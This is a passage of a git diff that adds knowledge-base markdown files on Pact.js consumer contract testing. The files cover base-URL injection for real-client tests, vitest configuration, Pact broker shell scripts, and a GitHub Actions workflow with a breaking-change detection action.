+Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
+
+### Why NOT vi.mock
+
+`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
+
+### Comparison
+
+| Approach     | Production code change | Mock complexity            | Exercises real client | Contract accuracy           |
+| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
+| Raw fetch    | None                   | None                       | No                    | Low — hand-crafted requests |
+| vi.mock      | None                   | High — ESM hoisting issues | Yes                   | Medium — fragile setup      |
+| DI (baseUrl) | 2 lines                | None                       | Yes                   | High — real requests        |
+
+## Pattern Examples
+
+### Example 1: Production Code Change (2 Lines Total)
+
+**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
+
+**Implementation**:
+
+```typescript
+// src/types.ts
+export type ApiContext = {
+  jwtToken: string;
+  customerId: number;
+  adminUserId?: number;
+  correlationId?: string;
+  baseUrl?: string; // Override for testing (Pact mock server)
+};
+```
+
+```typescript
+// src/http-client.ts
+import axios from 'axios';
+import type { AxiosInstance } from 'axios';
+import type { ApiContext } from './types.js';
+import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
+
+function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
+  return axios.create({
+    baseURL: context.baseUrl ?? API_BASE_URL,
+    timeout: REQUEST_TIMEOUT,
+    headers: {
+      'Content-Type': 'application/json',
+      Accept: 'application/json',
+      Authorization: `Bearer ${context.jwtToken}`,
+      ...(context.correlationId && { 'X-Request-Id': context.correlationId }),
+    },
+  });
+}
+```
+
+**Key Points**:
+
+- `baseUrl` is optional — existing production code never sets it
+- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
+- Zero production behavior change — only test code provides the override
+- Two lines added total: one type field, one `??` fallback
+
+### Example 2: Shared Test Context Helper
+
+**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
+
+**Implementation**:
+
+```typescript
+// pact/support/test-context.ts
+import type { ApiContext } from '../../src/types.js';
+
+export function createTestContext(mockServerUrl: string): ApiContext {
+  return {
+    jwtToken: 'test-jwt-token',
+    customerId: 1,
+    baseUrl: `${mockServerUrl}/api/v2`,
+  };
+}
+```
+
+**Key Points**:
+
+- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
+- Single helper shared across all consumer test files — no repetition
+- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
+- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
+
+### Example 3: Before/After for a Simple Test
+
+**Context**: Migrating an existing raw-fetch test to call real consumer code.
+
+**Before** (raw fetch — tests Pact mock, not consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const response = await fetch(
+    `${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
+    {
+      headers: {
+        Authorization: "Bearer test-jwt-token",
+        "Content-Type": "application/json",
+      },
+    },
+  );
+  expect(response.status).toBe(200);
+  const body = (await response.json()) as Record<string, unknown>[];
+  expect(body).toEqual(expect.arrayContaining([...]));
+});
+```
+
+**After** (real consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const api = createApiClient(createTestContext(mockServer.url));
+  const result = await api.getFilterFields();
+  expect(result).toEqual(
+    expect.arrayContaining([
+      expect.objectContaining({
+        id: expect.any(String),
+        readable: expect.any(String),
+        filterType: expect.any(String),
+      }),
+    ]),
+  );
+});
+```
+
+**Key Points**:
+
+- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
+- Assertions validate the return value shape, not transport details
+- The real client's headers, timeout, and retry logic are exercised transparently
+- Less code, more coverage — the test is shorter and tests more
+
+### Example 4: Contract Accuracy Fix
+
+**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
+
+The real `getCustomerActivityCount(transactionId, dateRange)` sends:
+
+```json
+{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
+```
+
+The old test with raw fetch sent:
+
+```json
+{ "transactionId": "txn-123", "filters": {} }
+```
+
+This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
+
+**Implementation** — fix the contract to match reality:
+
+```typescript
+// WRONG — old contract with empty filters
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: { transactionId: "txn-123", filters: {} },
+})
+
+// CORRECT — matches what real code actually sends
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: {
+    transactionId: "txn-123",
+    filters: { dateRange: "last_30_days" },
+  },
+})
+```
+
+**Key Points**:
+
+- Contracts become discoverable truth, not hand-maintained guesses
+- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
+- The 500 Request-Mismatch from Pact was immediate and clear
+- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
+
+### Example 5: Parallel-Endpoint Methods
+
+**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
+
+**Implementation**:
+
+```typescript
+import { describe, it, expect } from 'vitest';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { makeApiRequestWithContext } from '../../src/http-client.js';
+import type { CountStatistics } from '../../src/types.js';
+import { createTestContext } from '../support/test-context.js';
+
+describe('Transaction Statistics - Count Endpoint', () => {
+  // ... provider setup ...
+
+  it('should return count statistics', async () => {
+    const statsRequest = { transactionId: 'txn-123', period: 'daily' };
+
+    await provider
+      .given('transaction statistics exist')
+      .uponReceiving('a request for transaction count statistics')
+      .withRequest({
+        method: 'POST',
+        path: '/api/v2/transactions/statistics/count',
+        body: statsRequest,
+      })
+      .willRespondWith({
+        status: 200,
+        body: { count: 42, period: 'daily' },
+      })
+      .executeTest(async (mockServer: V3MockServer) => {
+        const context = createTestContext(mockServer.url);
+        const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
+        expect(result.count).toBeDefined();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- Each Pact interaction verifies one endpoint contract
+- The `Promise.all` orchestration is internal logic, not a contract concern
+- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
+- Separate `it` blocks keep contracts independent and debuggable
+
+## Anti-Patterns
+
+### Wrong: Raw fetch — tests Pact mock, not consumer code
+
+```typescript
+// BAD: Raw fetch duplicates headers and URL assembly
+const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
+  method: 'GET',
+  headers: {
+    Authorization: 'Bearer test-jwt-token',
+    'Content-Type': 'application/json',
+  },
+});
+expect(response.status).toBe(200);
+```
+
+### Wrong: vi.mock with getter — fragile ESM hoisting
+
+```typescript
+// BAD: ESM hoisting makes this non-obvious and brittle
+vi.mock('../../src/constants.js', async (importOriginal) => ({
+  ...(await importOriginal()),
+  get API_BASE_URL() {
+    return mockBaseUrl;
+  },
+}));
+```
+
+### Wrong: Asserting HTTP status instead of return value
+
+```typescript
+// BAD: Status 200 tells you nothing about the consumer's parsing logic
+expect(response.status).toBe(200);
+```
+
+### Right: Call real consumer code, assert return values
+
+```typescript
+// GOOD: Exercises real client, validates parsed return value
+const api = createApiClient(createTestContext(mockServer.url));
+const result = await api.searchTransactions(request);
+expect(result.transactions).toBeDefined();
+```
+
+## Rules
+
+1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
+2. Zero production behavior change — existing code never sets `baseUrl`
+3. Assertions validate return values from consumer methods, not HTTP status codes
+4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
+5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
+6. Create a single shared test context helper — no repetition across test files
+7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
+
+## Integration Points
+
+- `contract-testing.md` — Foundational Pact.js patterns and provider verification
+- `pactjs-utils-consumer-helpers.md` — `createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
+- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
+- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
+- `api-testing-foundations.md` — API testing best practices
+
+Used in workflows:
+
+- `automate` — Consumer contract test generation
+- `test-review` — Contract test quality checks
+
+## Source
+
+Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-framework-setup.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-framework-setup.md
new file mode 100644
index 0000000..10557d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-framework-setup.md
@@ -0,0 +1,635 @@
+# Pact Consumer CDC — Framework Setup
+
+## Principle
+
+When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
+
+## Rationale
+
+The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
+
+## Pattern Examples
+
+### Example 1: Directory Structure & File Naming
+
+**Context**: Consumer contract test project layout using pactjs-utils conventions.
+
+**Implementation**:
+
+```
+tests/contract/
+├── consumer/
+│   ├── get-filter-fields.pacttest.ts    # Consumer test (one per endpoint group)
+│   ├── filter-transactions.pacttest.ts
+│   └── get-transaction-stats.pacttest.ts
+└── support/
+    ├── pact-config.ts                   # PactV4 factory (consumer/provider names, output dir)
+    ├── provider-states.ts               # Provider state factory functions
+    └── consumer-helpers.ts              # Local shim (until pactjs-utils is published)
+
+scripts/
+├── env-setup.sh                         # Shared env loader (sourced by all broker scripts)
+├── publish-pact.sh                      # Publish pact files to broker
+├── can-i-deploy.sh                      # Deployment safety check
+└── record-deployment.sh                 # Record deployment after merge
+
+.github/
+├── actions/
+│   └── detect-breaking-change/
+│       └── action.yml                   # PR checkbox-driven breaking change detection
+└── workflows/
+    └── contract-test-consumer.yml       # Consumer CDC CI workflow
+```
+
+**Key Points**:
+
+- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
+- Support files live in `tests/contract/support/`, not mixed with consumer tests
+- Shell scripts live in `scripts/` at project root, not nested inside test directories
+- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
+
+---
+
+### Example 2: Vitest Configuration for Pact
+
+**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
+
+**Implementation**:
+
+```typescript
+// vitest.config.pact.ts
+import { defineConfig } from 'vitest/config';
+
+export default defineConfig({
+  test: {
+    environment: 'node',
+    include: ['tests/contract/**/*.pacttest.ts'],
+    testTimeout: 30000,
+  },
+});
+```
+
+**Key Points**:
+
+- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
+- Keep it minimal — Pact tests run in Node environment with extended timeout
+- 30 second timeout accommodates Pact mock server startup and interaction verification
+- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
+
+---
+
+### Example 3: Package.json Script Naming
+
+**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
+
+**Implementation**:
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
+    "can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
+    "record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
+  }
+}
+```
+
+Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
+
+**Key Points**:
+
+- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
+- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
+- `PACTICIPANT` is set per-script invocation, not globally
+- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
+
+---
+
+### Example 4: Shell Scripts
+
+**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
+
+#### `scripts/env-setup.sh` — Shared Environment Loader
+
+```bash
+#!/bin/bash
+# -e: exit on error  -u: error on undefined vars (catches typos/missing env vars in CI)
+set -eu
+
+if [ -f .env ]; then
+  set -a
+  source .env
+  set +a
+fi
+
+export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
+export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
+```
+
+#### `scripts/publish-pact.sh` — Publish Pacts to Broker
+
+```bash
+#!/bin/bash
+# Publish generated pact files to PactFlow/Pact Broker
+#
+# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACT_DIR="./pacts"
+
+pact-broker publish "$PACT_DIR" \
+    --consumer-app-version="$GITHUB_SHA" \
+    --branch="$GITHUB_BRANCH" \
+    --broker-base-url="$PACT_BROKER_BASE_URL" \
+    --broker-token="$PACT_BROKER_TOKEN"
+```
+
+#### `scripts/can-i-deploy.sh` — Deployment Safety Check
+
+```bash
+#!/bin/bash
+# Check if a pacticipant version can be safely deployed
+#
+# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+ENVIRONMENT="${ENVIRONMENT:-dev}"
+
+pact-broker can-i-deploy \
+    --pacticipant "$PACTICIPANT" \
+    --version="$GITHUB_SHA" \
+    --to-environment "$ENVIRONMENT" \
+    --retry-while-unknown=10 \
+    --retry-interval=30
+```
+
+#### `scripts/record-deployment.sh` — Record Deployment
+
+```bash
+#!/bin/bash
+# Record a deployment to an environment in Pact Broker
+# Only records on main/master branch (skips feature branches)
+#
+# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+
+if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
+  pact-broker record-deployment \
+      --pacticipant "$PACTICIPANT" \
+      --version "$GITHUB_SHA" \
+      --environment "${npm_config_env:-dev}"
+else
+  echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
+fi
+```
+
+**Key Points**:
+
+- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
+- Use `pact-broker` directly, NOT `npx pact-broker`
+- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
+- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
+- `record-deployment` has branch guard (only records on main/master)
+- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
+
+---
+
+### Example 5: CI Workflow (`contract-test-consumer.yml`)
+
+**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
+
+**Implementation**:
+
+```yaml
+name: Contract Test - Consumer
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, edited]
+  push:
+    branches: [main]
+
+env:
+  PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+  PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+  GITHUB_SHA: ${{ github.sha }}
+  GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  consumer-contract-test:
+    if: github.actor != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+          cache: 'npm'
+
+      - name: Detect Pact breaking change
+        uses: ./.github/actions/detect-breaking-change
+
+      - name: Install dependencies
+        run: npm ci
+
+      # (1) Generate pact files
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      # (2) Publish pacts to broker
+      - name: Publish pacts to PactFlow
+        run: npm run publish:pact
+
+      # After publish, PactFlow fires a webhook that triggers
+      # the provider's contract-test-provider.yml workflow.
+      # can-i-deploy retries while waiting for provider verification.
+
+      # (4) Check deployment safety (main only — on PRs, local verification is the gate)
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      # (5) Record deployment (main only)
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+**Key Points**:
+
+- **Workflow-level `env` block** for broker secrets and git vars — not per-step
+- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
+- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
+- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
+- **Comment on (4)**: "on PRs, local verification is the gate"
+- **No upload-artifact step** — the broker is the source of truth for pact files
+- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
+- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
+- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}` — `head_ref` for PRs, `ref_name` for pushes
+
+---
+
+### Example 6: Detect Breaking Change Composite Action
+
+**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
+
+**Implementation**:
+
+Create `.github/actions/detect-breaking-change/action.yml`:
+
+```yaml
+name: 'Detect Pact Breaking Change'
+description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
+
+outputs:
+  is_breaking_change:
+    description: 'Whether the change is a breaking change (true/false)'
+    value: ${{ steps.result.outputs.is_breaking_change }}
+
+runs:
+  using: 'composite'
+  steps:
+    # PR event path: read checkbox directly from current PR body.
+    - name: Set PACT_BREAKING_CHANGE from PR description (PR only)
+      if: github.event_name == 'pull_request'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const prBody = context.payload.pull_request.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(prBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
+
+    # Push-to-main path: resolve the merged PR and read the same checkbox.
+    - name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
+      if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+            owner: context.repo.owner,
+            repo: context.repo.repo,
+            commit_sha: context.sha,
+          });
+          const merged = prs.find(pr => pr.merged_at);
+          const mergedBody = merged?.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(mergedBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
+
+    - name: Export result
+      id: result
+      shell: bash
+      run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
+```
+
+**Key Points**:
+
+- Two separate conditional steps (better CI log readability than single if/else)
+- PR path: reads checkbox directly from PR body
+- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
+- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
+- `outputs.is_breaking_change` available for consuming workflows
+- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
+
+---
+
+### Example 7: Consumer Test Using PactV4 Builder
+
+**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
+
+**Implementation**:
+
+The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
+
+```typescript
+// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: process.env.API_URL || 'http://localhost:3001',
+});
+
+// Expose a way to override the base URL for Pact testing
+export const setApiUrl = (url: string) => {
+  axiosInstance.defaults.baseURL = url;
+};
+
+export const getMovies = async () => {
+  const res = await axiosInstance.get('/movies');
+  return res.data;
+};
+
+export const getMovieById = async (id: number) => {
+  const res = await axiosInstance.get(`/movies/${id}`);
+  return res.data;
+};
+```
+
+```typescript
+// tests/contract/consumer/get-movies.pacttest.ts
+import { MatchersV3 } from '@pact-foundation/pact';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
+import { movieExists } from '../support/provider-states';
+import { createPact } from '../support/pact-config';
+// Import REAL consumer code — this is what we're actually testing
+import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
+
+const { like, integer, string } = MatchersV3;
+
+const pact = createPact();
+
+describe('Movies API Consumer Contract', () => {
+  const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
+
+  it('should get a movie by ID', async () => {
+    const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
+
+    await pact
+      .addInteraction()
+      .given(stateName, stateParams)
+      .uponReceiving('a request to get movie by ID')
+      .withRequest(
+        'GET',
+        '/movies/1',
+        setJsonContent({
+          headers: { Accept: 'application/json' },
+        }),
+      )
+      .willRespondWith(
+        200,
+        setJsonBody(
+          like({
+            id: integer(1),
+            name: string('The Matrix'),
+            year: integer(1999),
+            rating: like(8.7),
+            director: string('Wachowskis'),
+          }),
+        ),
+      )
+      .executeTest(async (mockServer: V3MockServer) => {
+        // Inject mock server URL into the REAL consumer code
+        setApiUrl(mockServer.url);
+
+        // Call the REAL consumer function — this is what CDC testing validates
+        const movie = await getMovieById(1);
+
+        expect(movie.id).toBe(1);
+        expect(movie.name).toBe('The Matrix');
+      });
+  });
+
+  it('should handle movie not found', async () => {
+    await pact
+      .addInteraction()
+      .given('No movies exist')
+      .uponReceiving('a request for a non-existent movie')
+      .withRequest('GET', '/movies/999')
+      .willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
+      .executeTest(async (mockServer: V3MockServer) => {
+        setApiUrl(mockServer.url);
+
+        await expect(getMovieById(999)).rejects.toThrow();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
+- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
+- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
+- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
+- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
+- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
+- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
+- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
+- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
+
+**Common URL injection patterns** (pick whichever fits your consumer architecture):
+
+| Pattern              | Example                                      | Best For              |
+| -------------------- | -------------------------------------------- | --------------------- |
+| `setApiUrl(url)`     | Mutates axios instance `baseURL`             | Singleton HTTP client |
+| Constructor param    | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients   |
+| Environment variable | `process.env.API_URL = mockServer.url`       | Config-driven apps    |
+| Factory function     | `createApi({ baseUrl: mockServer.url })`     | Functional patterns   |
+
+---
+
+### Example 8: Support Files
+
+#### Pact Config Factory
+
+```typescript
+// tests/contract/support/pact-config.ts
+import path from 'node:path';
+import { PactV4 } from '@pact-foundation/pact';
+
+export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
+  new PactV4({
+    dir: path.resolve(process.cwd(), 'pacts'),
+    consumer: overrides?.consumer ?? 'MyConsumerApp',
+    provider: overrides?.provider ?? 'MyProviderAPI',
+    logLevel: 'warn',
+  });
+```
+
+#### Provider State Factories
+
+```typescript
+// tests/contract/support/provider-states.ts
+import type { ProviderStateInput } from './consumer-helpers';
+
+export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
+  name: 'An existing movie exists',
+  params: movie,
+});
+
+export const hasMovieWithId = (id: number): ProviderStateInput => ({
+  name: 'Has a movie with a specific ID',
+  params: { id },
+});
+```
+
+#### Local Consumer Helpers Shim
+
+```typescript
+// tests/contract/support/consumer-helpers.ts
+// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
+// with '@seontechnologies/pactjs-utils' exports when available.
+
+type TemplateHeaders = Record<string, string | number | boolean>;
+type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
+type TemplateQuery = Record<string, TemplateQueryValue>;
+
+export type ProviderStateInput = {
+  name: string;
+  params: Record<string, unknown>;
+};
+
+type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
+type JsonContentBuilder = {
+  headers: (headers: TemplateHeaders) => unknown;
+  jsonBody: (body: unknown) => unknown;
+  query?: (query: TemplateQuery) => unknown;
+};
+
+export type JsonContentInput = {
+  body?: unknown;
+  headers?: TemplateHeaders;
+  query?: TemplateQuery;
+};
+
+export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
+  Object.fromEntries(
+    Object.entries(obj).map(([key, value]) => {
+      if (value === null || value === undefined) return [key, 'null'];
+      if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
+      if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
+      if (value instanceof Date) return [key, value.toISOString()];
+      return [key, String(value)];
+    }),
+  );
+
+export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
+
+export const setJsonContent =
+  ({ body, headers, query }: JsonContentInput) =>
+  (builder: JsonContentBuilder): void => {
+    if (query && builder.query) {
+      builder.query(query);
+    }
+
+    if (headers) {
+      builder.headers(headers);
+    }
+
+    if (body !== undefined) {
+      builder.jsonBody(body);
+    }
+  };
+
+export const setJsonBody = (body: unknown) => setJsonContent({ body });
+```
+
+**Key Points**:
+
+- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
+- Add a TODO comment noting to swap for the published package when available
+- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
+- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
+
+---
+
+### Example 9: .gitignore Entries
+
+**Context**: Pact-specific entries to add to `.gitignore`.
+
+```
+# Pact contract testing artifacts
+/pacts/
+pact-logs/
+```
+
+---
+
+## Validation Checklist
+
+Before presenting the consumer CDC framework to the user, verify:
+
+- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
+- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
+- [ ] Scripts source `env-setup.sh` inline in package.json
+- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
+- [ ] Shell scripts use `PACTICIPANT` env var pattern
+- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
+- [ ] `record-deployment.sh` has branch guard
+- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
+- [ ] CI workflow named `contract-test-consumer.yml`
+- [ ] CI has workflow-level env block (not per-step)
+- [ ] CI has `detect-breaking-change` step before install
+- [ ] CI step numbering skips (3) — webhook-triggered provider verification
